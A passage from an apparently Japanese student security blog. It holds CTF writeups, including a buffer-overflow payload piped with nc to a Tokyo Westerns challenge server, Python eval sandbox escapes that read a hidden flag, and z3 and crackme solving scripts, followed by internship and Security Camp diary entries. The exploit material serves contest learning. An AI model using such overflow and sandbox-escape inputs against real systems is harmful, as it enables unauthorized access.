0x0, 0x27c, 0x0}, v2_int64 = {0x1fd, 0x27c}, uint128 = 0x000000000000027c00000000000001fd } 0x7c9a: movaps XMMWORD PTR ds:0x1268,xmm5 0x7c9f: mov di,WORD PTR ds:0x1268 First: gdb-peda$ p $edi $10 = 0x27a Second: gdb-peda$ p $di $9 = 0x1fd 0x7ca3: shl edi,0x10 First: gdb-peda$ p $edi $11 = 0x27a0000 Second: gdb-peda$ p $edi $11 = 0x1fd0000 0x7ca7: mov di,WORD PTR ds:0x1270 First: gdb-peda$ p $edi $12 = 0x27a02fb gdb-peda$ p $si $13 = 0x8 Second: gdb-peda$ p $edi $12 = 0x1fd027c gdb-peda$ p $si $13 = 0x7 0x7cab: mov dx,si 0x7cad: dec dx gdb-peda$ p $dx $14 = 0x7 ------------------------------ # 単純にdxの値を4倍している 0x7cae: add dx,dx First: gdb-peda$ p $dx # 7 + 7 $15 = 0xe Second: gdb-peda$ p $dx # 6 + 6 $15 = 0xc 0x7cb0: add dx,dx First: gdb-peda$ p $dx $16 = 0x1c Second: gdb-peda$ p $dx $16 = 0x18 ------------------------------ 0x7cb2: cmp edi,DWORD PTR [edx+0x7da8] First: gdb-peda$ x/10 $edx+0x7da8 0x7dc4: 0x02df028f 0x00000014 0x00000000 0x00000000 0x7dd4: 0x00000000 0x00000000 0x00000000 0x00000000 0x7de4: 0x00000000 0x00000000 Second: gdb-peda$ x/10 $edx+0x7da8 0x7dc0: 0x0290025d 0x02df028f 0x00000014 0x00000000 0x7dd0: 0x00000000 0x00000000 0x00000000 0x00000000 0x7de0: 0x00000000 0x00000000 0x7cba: jne 0x7d4d # If input is not correct, return. 0x7cbe: dec si gdb-peda$ p $si $2 = 0x7 0x7cbf: test si,si # If si is 0, finish. 0x7cc1: jne 0x7c8e ======================================================================================= This is the flag!!!!!!!!!!!!!!!!!!!!! Just do it!!!!!!!!!! 0x02df028f 0x0290025d 0x02090221 0x027b0278 0x01f90233 0x025e0291 0x02290255 0x02110270
psadbw
のところが不可逆っぽいので,逆算する処理ではなくz3を使ってこの処理を満たすような入力値を求める.
z3の使い方がわからず,BitVecsで値を生成してそれにabs()使おうとしたらできなくて,他にもいろいろ苦戦して,ようやくスクリプトが書けました.
(かなり汚いです)
#!/usr/bin/env python from z3 import * # 0x20 <= si <= 7e # # [flag] # 0x02df028f # 0x0290025d # 0x02090221 # 0x027b0278 # 0x01f90233 # 0x025e0291 # 0x02290255 # 0x02110270 # # {s0s1s2s3s4s5s6s7s8s9s10s11s12s13} # # s7s8s9s10s11s12s13}s3s4s5s6{s0s1s2 # s15 s14 # 0x** ** ** 7b ** ** ** ** ** 7d ** ** ** ** ** ** ** (little endian) def get_abs(x): return If(x >= 0,x,-x) def main(): solver = Solver() s = [Int('s_%d' % i) for i in range(14)] for i in range(len(s)): solver.add(s[i] != 0) solver.add(0x20 <= s[i], s[i] <= 0x7e) s14 = 0x7b s15 = 0x7d t0 = 0x22 t1 = 0x0f t2 = 0x02 t3 = 0xc8 t4 = 0x83 t5 = 0xfb t6 = 0xe0 t7 = 0x83 t8 = 0xc0 t9 = 0x20 t10 = 0x0f t11 = 0x10 t12 = 0xcd t13 = 0x00 t14 = 0x13 t15 = 0xb8 psadbw1 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - 0x00) psadbw2 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - 0x00) solver.add(psadbw1 == 0x28f) solver.add(psadbw2 == 0x2df) t0 = 0x0 t1 = 0x0 t2 = 0x0 t3 = 0x0 t4 = 0x0 t5 = 0x0 t6 = 0x02 t7 = 0x8f t8 = 0x0 t9 = 0x0 t10 = 0x0 t11 = 0x0 t12 = 0x0 t13 = 0x0 t14 = 0x02 t15 = 0xdf psadbw3 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - 0x00) + get_abs(t7 - s[3]) psadbw4 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - 0x00) + get_abs(t15 - s[7]) solver.add(psadbw3 == 0x25d) solver.add(psadbw4 == 0x290) t7 = 0x5d t15 = 0x90 psadbw6 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - 0x00) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw7 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - 0x00) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw6 == 0x221) solver.add(psadbw7 == 0x209) t7 = 0x21 t15 = 0x09 psadbw8 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - 0x00) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw9 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - 0x00) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw8 == 0x278) solver.add(psadbw9 == 0x27b) t7 = 0x78 t15 = 0x7b psadbw10 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - 0x00) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw11 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - 0x00) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw10 == 0x233) solver.add(psadbw11 == 0x1f9) t7 = 0x33 t14 = 0x01 t15 = 0xf9 psadbw12 = get_abs(t0 - s[2]) + get_abs(t1 - s[1]) + get_abs(t2 - 0x00) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw13 = get_abs(t8 - s15) + get_abs(t9 - s[13]) + get_abs(t10 - 0x00) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw12 == 0x291) solver.add(psadbw13 == 0x25e) t7 = 0x91 t14 = 0x02 t15 = 0x5e psadbw14 = get_abs(t0 - s[2]) + get_abs(t1 - 0x00) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw15 = get_abs(t8 - s15) + get_abs(t9 - 0x00) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw14 == 0x255) solver.add(psadbw15 == 0x229) t7 = 0x55 t15 = 0x29 psadbw16 = get_abs(t0 - 0x00) + get_abs(t1 - s[1]) + get_abs(t2 - s[0]) + get_abs(t3 - s14) + get_abs(t4 - s[6]) + get_abs(t5 - s[5]) + get_abs(t6 - s[4]) + get_abs(t7 - s[3]) psadbw17 = get_abs(t8 - 0x00) + get_abs(t9 - s[13]) + get_abs(t10 - s[12]) + get_abs(t11 - s[11]) + get_abs(t12 - s[10]) + get_abs(t13 - s[9]) + get_abs(t14 - s[8]) + get_abs(t15 - s[7]) solver.add(psadbw16 == 0x270) solver.add(psadbw17 == 0x211) t7 = 0x70 t15 = 0x11 if solver.check() == sat: m = solver.model() print m flag = '' for i in s: flag += chr(m[i].as_long()) print "\nflag: flag{%s}" % flag else: print "Not found." if __name__ == '__main__': main()
$ python solve.py [s_0 = 52, s_6 = 95, s_2 = 51, s_3 = 97, s_4 = 108, s_10 = 51, s_11 = 95, s_8 = 48, s_7 = 109, s_9 = 100, s_5 = 122, s_12 = 121, s_13 = 48, s_1 = 114] flag: flag{4r3alz_m0d3_y0}
まとめ
z3の書き方,よくわからない部分が多い.
解けなかった問題に関しては,
pilot (Pwn75):オーバーフローさせてシェルコード実行させようとしたらできなくて,gdbで見てみたらシステムコールを呼ぶ直前でコードが変わるという謎の現象が起きたりしてた.よくわからん.
Missed Registration (Forensics150):nの値とxの値 is 何.末尾に何か付いてたけどわからん.
Gopherz (Reversing350):Gopherというプロトコルを初めて知った.なんの成果も得られませんでした.
Tokyo Westerns CTF 3rd 2017 Writeup
開催期間(JST)
09/02 AM9:00 ~ 09/04 AM9:00
結果
・チーム名:wabisabi
・得点:213pt
・順位:得点したチーム中,133/901
解いた問題
・Just do it!
・Rev Rev Rev
・pplc: private
・pplc: local
・pplc: comment
取り組んだが解けなかった問題
・Let’s go!
はじめに
実際に集まることはなかったのですが,slackでちょいちょいやり取りしながらチームメンバーのkobadとよね君と一緒に参加してました.
Warmupは全部解きたいねって話をメンバーにしたのですが,cryptoの1問が残ってしまいました.cryptoちょっと見てみたけどrevやりたかったのでそっと閉じました.
途中,ちょっと遠くに美味しいラーメンを食べに行ったり,翌日の日曜は近所の高校の学園祭にお邪魔して遊んでたりしてて,夕方帰ってきてから朝まで気合でLet’s go!のバイナリを読んでた,そんな感じのCTFでした.
Writeup
Just do it!
やるだけ問でした.
実行するとこんな感じ.flag.txtを作る必要がある.
$ ./just_do_it56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa Welcome my secret service. Do you know the password? Input the password. hoge Invalid Password, Try Again!
flagを中で読み込んでるけど,出力はしないみたいな感じで,あとBoFがある.
オーバーフローした先がputsで入力値を出力する場所だったので,オーバーフローさせてからputsに渡すアドレスをflagのある場所に変えるだけ.
$ echo -e "AAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08" |./just_do_it-56d11d5466611ad671ad47fba3d8bc5a5140046a2a28162eab9c82f98e352afa Welcome my secret service. Do you know the password? Input the password. FLAG{xxxx}
これをリモートに送ってやるとflagが貰える.
$ echo -e "AAAAAAAAAAAAAAAAAAAA\x80\xa0\x04\x08" |nc pwn1.chal.ctf.westerns.tokyo 12345 Welcome my secret service. Do you know the password? Input the password. TWCTF{pwnable_warmup_I_did_it!}
Rev Rev Rev
一番最初に解いた問題でした.
$ ./rev_rev_rev-a0b0d214b4aeb9b5dd24ffc971bd391494b9f82e2e60b4afc20e9465f336089f Rev! Rev! Rev! Your input: hoge Invalid!
crackme系の問題っぽい.
確か,最初に入力値から改行を取り除き,その文字列を反転して,さらに2回ほど暗号化っぽいことをやってた気がする.
で,それがとある文字列と等しいかどうか判定している.
最初に思いついたのが,アルファベットと数字を全て入力して,生成される文字列からテーブルみたいなのを作って,あとは読むだけ,みたいなやり方.
最初にABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
と入力しようとしたら,確か文字列の制限があって,小文字大文字に分けて出力結果をメモっていった.
結果,プログラム書くより手でやったほうが早そうだったので,こんな感じになった↓
0xd5, 0x15, 0x3d, 0xd5, 0x9d, 0x21, 0x71, 0xf1, 0xa1, 0x69, 0x31, 0x61, 0xdd, 0x89, 0xb9, 0x49, 0xb9, 0x09, 0xa1, 0x13, 0x93, 0x09, 0x19, 0xc9, 0xe1, 0xf1, 0xa1, 0x65, 0xd9, 0x29, 0x41 T W C T F { q p z i s y D n b m b o z 7 6 o g l x p z Y d k } ABCDEFGHIJKLMNOPQRSTUVWXYZ 0x7d, 0xbd, 0x3d, 0xdd, 0x5d, 0x9d, 0x1d, 0xed, 0x6d, 0xad, 0x2d, 0xcd, 0x4d, 0x8d, 0x0d, 0xf5, 0x75, 0xb5, 0x35, 0xd5, 0x55, 0x95, 0x15, 0xe5, 0x65, 0xa5 abcdefghijklmnopqrstuvwxyz 0x79, 0xb9, 0x39, 0xd9, 0x59, 0x99, 0x19, 0xe9, 0x69, 0xa9, 0x29, 0xc9, 0x49, 0x89, 0x09, 0xf1, 0x71, 0xb1, 0x31, 0xd1, 0x51, 0x91, 0x11, 0xe1, 0x61, 0xa1 1234567890 0x73, 0xb3, 0x33, 0xd3, 0x53, 0x93, 0x13, 0xe3, 0x63, 0xf3
TWCTF{qpzisyDnbmboz76oglxpzYdk}
pplc: private
自分は初めてみる形式の問題で,脳トレっぽくて楽しめました.
pythonのソースコードが渡されます. あと,このプログラムが動いているサーバがあります.
import sys from restrict import Restrict r = Restrict() # r.set_timeout() class Private: def __init__(self): pass def __flag(self): return "TWCTF{CENSORED}" p = Private() Private = None d = sys.stdin.read() assert d is not None assert "Private" not in d, "Private found!" d = d[:24] r.seccomp() print eval(d)
問題の概要としては,Privateの中にある__flag関数を呼んでフラグを取ってね,みたいな感じ.
そんなの普通に呼べばいいやんけってわけにはいかなくて,pythonにはprefixとしてアンダースコア2つで関数を定義すると,マングリング機構というものが働いて,メソッド名が_クラス名__メソッド名に変換されるので,元の名前では呼ぶことができなくなります.
そう,元の名前では呼べないだけで,変換された名前で呼んであげれば勝ちです.
しかし,assertが働いているので “Private” という文字列を入力することができません.
ここで,先日参加したkatagaitai勉強会のXSS千本ノックで学んだXSS的思考が役に立ちました.
まず,dir(p)でpオブジェクトのメソッド一覧を調べます.
すると,変換された名前である “_Private__flag” が第1要素として格納されているので,これを使います.
eval("p."+dir(p)[0]+"()")
これで,一度式が評価されて “p._Private_flag()” という文字列が生成されてから,再度元々のevalにより関数として評価されて勝ち!って思ったんだけど,これは25文字になってしまい,24文字制限があるこの問題では最後の “)” が入力されない.
ここで結構悩んでいたのですが,文字列の中で変数展開的なことできなかったっけ?と思って,
eval('p.%s()'%dir(p)[0])
こう書いてみたら24文字ぴったりでした.
$ ncat ppc1.chal.ctf.westerns.tokyo 10000 eval('p.%s()'%dir(p)[0]) TWCTF{__private is not private}
参考:
pplc: local
import sys from restrict import Restrict r = Restrict() # r.set_timeout() def get_flag(x): flag = "TWCTF{CENSORED}" return x d = sys.stdin.read() assert d is not None d = d[:30] r.seccomp() print eval(d)
get_flagの中で定義されているローカル変数であるflagを読みだす問題.
無理ゲーやろって思って,過去問見ながら調べてたら去年はRubyの問題でデバッグ関係の関数が役に立ったというのを見て,調べてたけどダメ.
さっきみたいにdirでget_flagのメソッド取り出してアクセスできないかなと調べてたら以下のサイトが役に立った.
dir(get_flag.func_code)でメソッド全部出して,それっぽいのを見ていきました.
dir(get_flag.func_code) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] get_flag.func_code.co_argcount 1 get_flag.func_code.co_code d}|S $ get_flag.func_code.co_consts (None, 'TWCTF{CENSORED}') $ ncat ppc1.chal.ctf.westerns.tokyo 10001 get_flag.func_code.co_consts (None, 'TWCTF{func_code is useful for metaprogramming}')
pplc: comment
import sys from restrict import Restrict r = Restrict() # r.set_timeout() d = sys.stdin.read() assert d is not None d = d[:20] import comment_flag r.seccomp() print eval(d)
''' Welcome to unreadable area! FLAG is TWCTF{CENSORED} '''
メモリ上の値をどうにかして呼び出すのかな~とか思ってimport gc; gc.get_objects()
とかをやろうとしていたのですが,evalは文を評価してくれないため詰み.
localを解いた後だったので,さっきみたいなところに入ってたりしないかな~と適当に見ていったら見つかって拍子抜けした.
dir(comment_flag) ['__builtins__', '__doc__', '__file__', '__name__', '__package__'] comment_flag.__doc__ Welcome to unreadable area! FLAG is TWCTF{CENSORED} $ ncat ppc1.chal.ctf.westerns.tokyo 10002 comment_flag.__doc__ Welcome to unreadable area! FLAG is TWCTF{very simple docstring}
__doc__に入るっぽい
取り組んだが解けなかった問題
Let’s go!
golang x crackme な感じのやつでした.
絶対解くぞと思って朝までやっててもできなかったので,途中までやったことを書いていきます.
$ file lets_go lets_go: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
一見普通のELFっぽいですが,中を見てみると見慣れない関数とかがあって調べてみたらgolangで書かれたものでした.(Let’s go!という問題文も納得)
passwordとなる文字列をコマンドライン引数で渡して実行する形式.
$ ./lets_go hoge
Failed... ;(
まずはpasswordを比較しているところを探すことから始めました.
あと,golangバイナリの読み方?的なことも調べつつ.
main.mainから読んでいきます.
main.mainはこんな感じです.
このプログラムは引数がちゃんと渡されていたら,テーブルの生成とパスワードチェックの関数が実行されるようになっています.
テーブルは,後ほど出てくる暗号化で使われているテーブルです.
main.UhoCh5ooSeith0ee7Ien
で生成されているのですが,詳細な動作を読む必要は無さそう.
結果として,
WPnq7JEM2AskwjoX3VRx9aHbiYfd4#Zp05TUGc1SBCFNgvhz8rQl6@ytIKumDeOL
というテーブルが生成されます.
テーブルが生成された後,main.mainにてmain.Xerei4oreeshex6zien0
という関数が実行されます.
0x492a5c <main.main+140>: call 0x491fa0 <main.Xerei4oreeshex6zien0>
この関数はパスワードチェックやFLAGが正しいかどうかのチェックも担っているチェック関数みたいなやつです.
こいつの内部でcallされている関数の中で重要な関数がmain.Wuyeiqua4ievohR4ahng
です.
入力値やテーブルなどを受け取ってなんかやってます.
これを実行すると戻り値として暗号化っぽい処理を施された文字列が返ってきます.
その後,その戻り値がR6aYb@VboTG==
かどうかで分岐しているので,main.Wuyeiqua4ievohR4ahng
をもっと詳しく読む必要があります.
main.Wuyeiqua4ievohR4ahng
では,入力値を2進数化してから,
0x491d70: e8 cb 40 fc ff call 455e40 <strconv.ParseInt>
ここで,その値をパースしています.確か引数として6とかを渡していて,”先頭から6文字づつ取り出す”とかそんな挙動になると思います.
そして,
0x491d8b: 48 8b 94 24 e0 00 00 mov rdx,QWORD PTR [rsp+0xe0] # rdx = table 0x491d92: 00 0x491d93: 0f b6 04 02 movzx eax,BYTE PTR [rdx+rax*1] # eax = table[rax]
ここで,ParseIntの結果をtableのインデックスとして用いて,tableから1文字取り出す,ということをやっています.
つまり,'A'という入力値が与えられた場合,まず'A'の2進表現として01000001に変換され,先頭から6文字である'010000'が取り出される.
これは10進数で16なので,table[16]である3が取り出され,残りの01に対しても6bitに拡張される?からなのか,010000となり,同じようにtable[16]である3が取り出されます.
そして,1回目のjoinで結合されて'33'になり,2回目のjoinでパディングが付与されて'33===‘になる,みたいな挙動をします.
6bitで区切って末尾にパディングはイメージ的にはbase64っぽい.
そこで,何をすればパスワードが求まるかというと,"R6aYb@VboTG==“のそれぞれの文字に対してtableからインデックスを求めてからそれを2進数化、そして8文字区切りで読んでいけば読める、パディングは無視します.
tableにおけるRの位置は18, 6は52,,,,,これを続けていき,求まった値をスクリプトに書いてパスワードを求めました.
#!/usr/bin/env python import sys def main(): password = [18, 52, 21, 25, 23, 53, 17, 23, 14, 34, 36] # "R6aYb@VboTG" pass_bin = "" for i in password: pass_bin = pass_bin + format(i, 'b').zfill(6) for i in range(len(pass_bin)/8): sys.stdout.write(chr(int(str(pass_bin[i*8:i*8+8]), 2))) if __name__ == '__main__': main()
すると,"KEY_TW:)“というパスワードが求まります.
ここからが本題で,求まったパスワードを元に実行すると,
$ ./lets_go "KEY_TW:)" Input FLAG: hoge Failed... ;(
このように,渡されたFLAGの値を正しいかどうかチェックするようになります.
読むべき場所はここ
0x4924ab <main.Xerei4oreeshex6zien0+1291>: call 0x491a80 <main.f1151e71905f3d94b49b0>
この関数,渡されたパスワードを元にゴニョゴニョやっているので,パスワードについては分岐を潰すだけではダメで,実際に↑で書いたように正しい値を求める必要があります.
この関数に入る前に,
0x4923cf <main.Xerei4oreeshex6zien0+1071>: cmp rcx,0x30 // 入力値は48文字 0x4923d3 <main.Xerei4oreeshex6zien0+1075>: jne 0x4926e6 <main.Xerei4oreeshex6zien0+1862> // 48文字ではなかったらExit
ここでFLAGの文字数を48文字でなかったらFailedになる処理があるので,適当に48文字与える必要があります.
ここでは”TWCTF{AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}”という文字列を与えます.
(ここら辺から言っていることが正しいのか自信がないので間違ってたら申し訳ない)
では先ほど出てきたmain.f1151e71905f3d94b49b0
がなにをしているのかというと,渡された48文字を先頭から8文字取り出して,
'TWCTF{AA'[0] + 'KEY_TW:)'[0]
まず,この値を求めます. そして,スタック上にできているtable(先ほどとは違うもの)に対して,この値をインデックスとして取り出す.
取り出した値に,TWCTF{AAの'W'を加えて,それをRCXに格納.
RCX = table[ 'TWCTF{AA'[0] + 'KEY_TW:)'[0] ] + 'TWCTF{AA'[1]
rol cl, 1
最後にRCXの下位8bitをrolしてから,RCXの下位8bitを"TWCTF{AA"の指定の場所に格納して"TdCTF{AA"になってそのまま32回繰り返すので,次に"Td,TF{AA"となり,これがどんどん繰り返されて最終的に64bitのよくわからない値になります.
そして,main.f1151e71905f3d94b49b0
からretして
0x492574 <main.Xerei4oreeshex6zien0+1492>: call 0x464780 <reflect.DeepEqual>
にて,値が正しいのか確かめていると思う.
この処理を計6回行って48文字の正誤を検証しているっぽいです.
で,DeepEqualにてどんな値とそれぞれ比較されているのかというと
1回目:0x48fd9fdd395cfe4a 2回目:0x555ed4725bde6cf0 3回目:0xb492d5de09fa160 4回目:0x9c326531f39e320e 5回目:0x5eecc9092cef233d 6回目:0x10b4e73f5fd73945
つまり,これがFLAGっぽいです.
Z3使えば答えが求まるかなと思って,少しづつ書いていたのですが,できずにタイムアップしました.
他の方のWriteupを読みたいと思います…
まとめ
解けた中で一番面白かったのはpplc,解けなかったけど一番時間をかけたのはLet’s go!でした.
Let’s go!が解けていれば順位が2桁だったので悔しさがある…
リケジョじゃないけどリケジョのサマーインターンに参加してきた
はじめに
株式会社ラックさんで行われた「夏のリコチャレ2017 リケジョのサマーインターン第二弾」に参加してきました.
頂いたパンフレット.
1dayインターンってやつでした.
リケジョじゃないのに参加できたのは,第二弾は男女どちらでも参加可能だったからです!
なにをしてきたのか
JSOCを見学できたのと,マルウェア解析をやりました.何をやったかは詳しく書けないので,感想と簡単なまとめだけ書いていきます.
朝から人身事故が起きてたり.何番線に行けばいいかわからなかったりしましたが.なんとか辿り着けました.
会場に到着して名前と大学名を伝えたら名札的なのを貰いました.
なにをやってる会社なのかとか歴史とかを聞いて,初めてLACという社名がLittle eArth Corporationの略だということを知りました.
JSOCが大体何件のログを処理しているかとか,そういうデータ的なお話も聞けたり.LACのFalconのお話も聞けて.Falconが処理しているログの多さに驚きました.
その後はマルウェア解析をするための準備的なのをやってから昼食でした.
昼食ではCTFerの方と今年のGoogle CTFのmindreaderわろた的な話をしたり.社員さんの中で僕と地元がほぼ一緒の人がいたりして.親近感を覚えていました.
驚いたのが,昼食を食べ終わって部屋に戻ろうとしたら講師の方にセキュキャンのことでお声をかけて頂いて,セキュキャンパワーすごいなと思いました.(名前負けしないようにしっかり実力をつけないと…)
昼食の後はJSOCを見学しました.
実は存在すら知らなかったJSOCでしたが…見学してみると働いてる人たちが皆さんプロって感じで格好良くて見入ってました.
去年からリニューアルしたらしくて,去年までの真っ黒なサイバーな感じも格好良いのですが,それはそれで不都合があるようで,陽の光が入らないという致命的な欠点があったっぽいです.
今はホワイトなカラーで,ホワイトハッカーをイメージしているんだとか.
その後はいよいよマルウェア解析で.ちょめちょめといろんな事をやってました.
講師の方の説明がわかりやすくてとても丁寧だったので詰まるところはありませんでした.
最後に海外や日本のイベントの紹介があって.REconは初めて知りました.
まとめ
JSOCを見学してプロが実際に働いている現場を生で見ることができたのは,とても貴重な経験でした.
マルウェア解析のハンズオンもわかりやすく丁寧に教えて頂き,きっかけ作りという講義ではなくてしっかりと技術を身につける講義だったので,様々な知見を得ました.
セキュキャンが終わり,インターンが終わり,残すイベントは来週のkatagaitai勉強会ぐらいで,あとはみっちり勉強しようと思ってます.(バイトもしなきゃ)
以上.
セキュリティ・キャンプ全国大会2017に参加して最高の5日間を過ごした話
はじめに
参加してきました.噂に聞いてた通り最高のキャンプでした.
セキュリティ・キャンプってなにって人向けにIPAのサイトを.
最高レベルの講師に最高の講義をして頂いて最高の体験を得るようなキャンプです.
応募用紙を書いて合格を頂けると行くことができます.
僕が書いた応募用紙はこちらです.
今回CEDEC CHALLENGEという,SECCON2017の地方大会と日程が少し被っていてつらかったのですが,行きの新幹線とか初日の夜とかに逆アセンブル結果を見ながら頑張ってました.スライドは15日の夜までで,明らかに作る時間がないので最終日に先輩に丸投げしてしまった…
キャンプ自体はどうだったのかというと,参加中はその日の終わりに1日の出来事などをまとめていたりしました.
1日目
起きれました.
新幹線や電車で会場へ向かいます.
Tシャツはポプテピピックでした.
会場到着!!!
12時前だったけど会場に行ってみたら受付が始まってて,早めに受付ができました.
ホテルがめっちゃ豪華
荷物を預けてから部屋に行ってみると,まだ少人数だったけど名刺交換大会が始まってたようで,自分もすぐ参加しました.
初っ端に交換した人がhiwwさんでビビった.Harekazeステッカーを貰いました.嬉しかった.
その後も名刺を交換しまくっていると,誰と交換したかがわからなくなる問題が発生.
去年のCODE BLUE 学生スタッフ勢がチラホラいて久しぶりに会って話せたので嬉しかったです.
昼食は班員に講師やチューターの方を交えて食べました.美人な女性の隣の席になり緊張していたら,なんとその人がはいひるさんで,ビビった.後はA7のファジング実習の講師をやるSymantecの山下さんと班員のかきのたね君とご飯を食べました.カレーだったんですが,だいぶ辛かった.
ご飯を食べた後は,開会式とかセキュリティ基礎とかチューターさんのプレゼンとか特別講義が2つあったりしました.(途中睡魔と戦っていたのは内緒)
チューターさん3人からプレゼンがあったのですが,みなさんぶっ飛んでる人しかおらず,すごいなぁという感想しか出てきませんでした.
特別講義は「凝ったう〇この話」と「フォレンジックの話」でした.
夕食は鳥の照り焼き.班員の人達と食べました.美味かった.
夜はグループワーク.プロ達にヒアリングして周っていました.
2日目
7時過ぎに起きました.
朝食チャレンジも成功.
Tシャツは配られた2017キャンプTシャツを早速着たのですがこれが失敗.
だれも着ている人がいなくて、めっちゃ調子乗ってるやつみたいになってました!
講義は,
の2つ.
初日が一番辛そうだなと思ってたんですが,思った通り大変でした.
D1 Linuxカーネルを理解して学ぶ 脆弱性入門
講師は小崎さん.序盤は楽だったんですが,後半がなんとなくで理解しているところが多く,細部まで詳細に理解できたという講義ではありませんでした.演習問題があったのですが,結構解けない問題ばかりで苦戦してました.入門というのは本当の初心者が来たらどうするかとか,そこら辺の「どこに合わせるのか」という難易度を設定するの難しそうだなぁと思ったりしました.
D2-D3 カーネルエクスプロイトによるシステム権限奪取
講師はるくすさん.相当難しいと言われていた講義で,恐る恐る挑みましたが,実践的なことが多くて楽しかったです.netconsoleのところでよくわからない問題に当たり,チューターさん方に助けていただきました,ありがとうございました.(最後に/がなかったのが原因)プログラムを少し書く演習があって,時間はかかりましたが実装することができて感動していました.カーネルエクスプロイトの一端に触れた経験を今後少しでも活かしていきたいです.
昼食はゆーくんやmiyagawa君やかきのたね君やぷろとんさんと食べました.
夕食は同じ大学のこばと食べました.
早めに寝ました.
3日目
7時過ぎに起きることができて,8時ギリギリに朝食も食べれました.朝食はこばと,hiwwさんとゆーくんとかはいひるさんとかと食べました.
講義は,
の2つ.
オールマルウェアdayなのでマルウェアの気持ちになって受講しました.
D4 マルウェアx機械学習
講師は村上さん.機械学習は経験がなかったのですが,検知手法に興味があったので受講しました.「機械学習とは」から始まり,マルウェアを検知するための特徴量の抽出などのアイデア出しをグループで行ったりしていました.その後実際に自分で決めた特徴量を用いて検知率がどのくらいか,などを検証していました.VMのイメージのダウンロードが遅すぎて進まなかったりしていましたが,チューターさんのはっぴーのーとさんに助けて頂きました,ありがとうございました.やっぱり機械学習は,これから自分に必要な知識になってきそうな予感.
D5 The Anatomy of Malware
講師は中津留さん.これも結構人気の講義で自分も楽しみにしていました.(講義資料を最後のほう読むの忘れていて焦った)ひたすら静的解析をする講義で,マルウェアに興味は持ちつつもまだ解析はしたことがなかった自分にとって,いいきっかけになったのではないかと思います.最後にやった演習では,どのようなことを行っているルーチンなのかを当てることができて嬉しかったです.今後マルウェア解析にのめり込んでいきたい!
昼食はD4を受講してた游び人さんと高専の方と食べて,女の子の話をしたりして楽しかったです.
夕食は講師やチューターさん,外部の方と混ざって食事をするはずが,人数の関係で参加者の方1人しかいなく,その人と楽しくお喋りしていました.
BoFは「ゲスリティキャンプ」と「サイバー空間へようこそ」にしました.
どちらも新鮮なお話でした.
「サイバー空間へようこそ」の人でした.(この人と実はCODE BLUEの学生スタッフをやった時も会っており,3回同じ話を聞いたので内容は完璧になった)
誰もやらないようなことをやっている人で,サイバーだけに特化するのではなく,他の知識も身につけておこうということを学びました.
あとはグループワークをちょこっとやって3日目は終了.
4日目
いつ通り遅めに起きて,朝食を食べました.この日はぼっち飯をキメました.
講義は,
B6 AVRマイコンで作るBadUSB工作・改
B7 ゲームセキュリティ入門
の2つ.
B6 AVRマイコンで作るBadUSB工作・改
